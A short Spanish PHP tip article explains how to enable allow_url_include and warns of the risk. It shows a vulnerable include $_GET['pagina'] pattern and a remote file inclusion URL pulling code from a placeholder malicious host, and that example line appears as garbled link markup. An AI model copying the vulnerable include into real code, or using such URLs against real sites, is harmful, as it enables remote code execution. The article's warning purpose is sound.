PHP 5 – Utilizar una url externa con la función include

Haz una pregunta

La opción que permite incluir una url externa (es decir absoluta, del tipo http://site.tld/url) mediante la función include, está deshabilitada por defecto en la versión 5 y posteriores de PHP. Para habilitarla, en tu servidor pon estas dos líneas en el fichero php.ini.

allow_url_include = 1
allow_url_fopen = 1

Para mayor información, ver Aquí

IMPORTANTE: Sin embargo, es muy peligroso habilitar la opción allow_url_include. En ciertos casos, puede ocasionar graves fallas de seguridad si el desarrollador es negligente.

Veamos un ejemplo simple, supongamos que tienes un script PHP que incluye una página en función de lo que se le da como argumentos vía la URL.
Es decir que tecleando http://tusitio.flet/mipagina.php?page=pagina_a_incluir.php vas a incluir la página “pagina_a_incluir.php”
Si tu código se parece a esto: include $_GET['pagina']; entonces estarás dejando la puerta abierta para que cualquiera añada código externo. Es así que nada impide que yo pueda incluir una página:

href= <a href='http://sitiomalicioso.prout/paginamaliciosa.php'' target='_blank'>http://sitiomalicioso.prout/paginamaliciosa.php'</a> target='_blank' rel='nofollow'>http://tusitio.flet/mipagina.php?http://sitiomalicioso.prout/paginamaliciosa.php</a>

Por lo tanto hay que estar atentos si habilitamos esta opción.
Jean-François Pillou

Nuestros contenidos son redactados en colaboración con expertos del ámbito tecnológico bajo la dirección de Jean-François Pillou, fundador de CCM.net y director digital en el Grupo Figaro. CCM es un sitio de tecnología líder a nivel internacional y está disponible en 11 idiomas.

Más información sobre el equipo de CCM